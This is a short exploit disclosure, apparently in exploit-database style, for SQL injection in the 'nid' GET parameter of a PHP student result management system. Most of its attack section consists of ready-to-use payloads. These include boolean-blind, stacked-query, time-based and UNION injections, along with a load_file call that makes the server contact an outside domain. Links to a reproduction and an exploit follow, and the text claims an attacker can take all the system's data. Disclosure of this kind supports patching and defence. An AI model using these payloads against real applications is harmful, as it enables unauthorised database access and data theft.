## Title: upresult_0.1-2024 Multiple-SQLi ## Author: nu11secur1ty ## Date: 04/08/2024 ## Vendor: https://www.mayurik.com/ ## Software: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The nid parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\tuh'))+' was submitted in the nid parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all information from the system by using this vulnerability! STATUS: HIGH- Vulnerability [+]Payload: ```mysql --- Parameter: nid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: nid=145448807' or '1766'='1766' AND 2997=2997 AND 'IBFU'='IBFU Type: stacked queries Title: MySQL >= 5.0.12 stacked queries (comment) Payload: nid=145448807' or '1766'='1766';SELECT SLEEP(7)# Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: nid=145448807' or '1766'='1766' AND (SELECT 3474 FROM (SELECT(SLEEP(7)))eAdm) AND 'ubZR'='ubZR Type: UNION query Title: MySQL UNION query (NULL) - 4 columns Payload: nid=145448807' or '1766'='1766' UNION ALL SELECT NULL,NULL,CONCAT(0x716a767871,0x76504a4f6455624669506c6a484150727767554e66574d7856554875684368426b4f72794374496e,0x716b787071),NULL# --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2024/upresult_0.1-2024) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/04/upresult01-2024-multiple-sqli.html) ## Time spent: 00:15:00